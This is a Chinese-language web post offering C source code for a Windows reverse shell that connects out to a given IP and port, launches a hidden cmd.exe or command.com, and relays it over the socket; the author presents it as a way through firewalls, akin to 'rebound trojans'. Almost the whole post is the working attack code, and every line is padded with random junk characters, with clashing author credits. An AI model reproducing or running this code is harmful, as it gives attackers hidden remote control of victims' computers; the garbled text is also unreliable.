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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d(@ ov^e-  
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/* ============================== Ed{sC[j=  
Rebound port in Windows NT C rl:v8  
By wind,2006/7 `Q/\w1-Q  
===============================*/ 7Ka4?@bQ  
#include 6#.9T;&  
#include FQE(qltf,  
cct/mX2&~  
#pragma comment(lib,"wsock32.lib") .6I'V3:Kg  
:h/v"2uDN  
void OutputShell(); eAqpP>9n  
SOCKET sClient; hy@b/Y![M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M;NIcM  
NB86+2stu  
void main(int argc,char **argv) :Bu)cy#/[  
{ vlipB}  
WSADATA stWsaData; o*"Q{Xh#Qd  
int nRet; ,7DyTeMpN  
SOCKADDR_IN stSaiClient,stSaiServer; 94]i|2qj*  
y+V>,W)r7  
if(argc != 3) _^ic@h3'X~  
{ 8rFP*K9  
printf("Useage:\n\rRebound DestIP DestPort\n"); }n#$p{e$i  
return; !&`\MD>;~R  
} 9 g- 8u+&  
1'iQlnMO@  
WSAStartup(MAKEWORD(2,2),&stWsaData); g6S-vSX,  
W7@Vma`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &3x da1H  
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stSaiClient.sin_family = AF_INET; yF_/.mI  
stSaiClient.sin_port = htons(0); $!_}d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yD`pUE$  
NS TO\36  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V$oj6i{ky  
{ MZh?MaBz06  
printf("Bind Socket Failed!\n"); SQ]M"&\{y  
return; i70\`6*;B  
} h(3-/4  
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stSaiServer.sin_family = AF_INET; Q`4I a<5B  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }W[=O:p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a<>cbP  
}odjaM}5Nc  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) TDWD8??e  
{ t]iKU@3  
printf("Connect Error!"); }<w9Jfr"X  
return; %qqeL   
} vQy<%[QO  
OutputShell(); _JA)""l%  
} ~"4Cz27  
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void OutputShell() wuXH'  
{ %da-/[  
char szBuff[1024]; -mo4`F  
SECURITY_ATTRIBUTES stSecurityAttributes; <]|!quY<*  
OSVERSIONINFO stOsversionInfo; SJ:Teab  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vq-;wdq?2  
STARTUPINFO stStartupInfo; :Z_abKt  
char *szShell; '?fGI3b~/  
PROCESS_INFORMATION stProcessInformation; /11CC \  
unsigned long lBytesRead; q|IU+r:! 3  
St> E\tXp  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L `=*Pwcj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <1:I[b  
stSecurityAttributes.lpSecurityDescriptor = 0; {i3=N{5b  
stSecurityAttributes.bInheritHandle = TRUE; Z@$'fX?~9  
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F[0~{*/|G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _F^NX%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oz[G'[\}F  
=}u?1~V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $BB^xJ\O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y&\t72C$Fi  
stStartupInfo.wShowWindow = SW_HIDE; p6)6Gcx  
stStartupInfo.hStdInput = hReadPipe; |  >yc|W  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9}42s+  
ljz=u;O)  
GetVersionEx(&stOsversionInfo); EU'rdG*t/R  
5$X 8|Ve  
switch(stOsversionInfo.dwPlatformId) N+H[Y4c?F&  
{ 322-'S3<  
case 1: w vI v+Q9  
szShell = "command.com"; 1!E}A!;  
break; F&3:]1  
default: -~H "zu`  
szShell = "cmd.exe"; HzuG- V  
break; 'P4V_VMK  
} 9i{(GO  
f 9IqcCSW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gc5mR9pV   
V>UlL&V  
send(sClient,szMsg,77,0); YhooD,[.  
while(1) +UTBiB R  
{ S@~ReRew2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R? N+./{  
if(lBytesRead) Nd@/U c  
{ a"Ly9ovW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Yfs eX;VX  
send(sClient,szBuff,lBytesRead,0); 6{g&9~V  
} D4$"02"  
else "+ k}#<P4\  
{ LfCgvq6/pO  
lBytesRead=recv(sClient,szBuff,1024,0); &g0r#K  
if(lBytesRead<=0) break; l2wu>Ar7.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 300[2}Y]  
} yZNg[KH  
} 2Qc_TgWF  
3RcnoXX_  
return; Z*v`kl  
}
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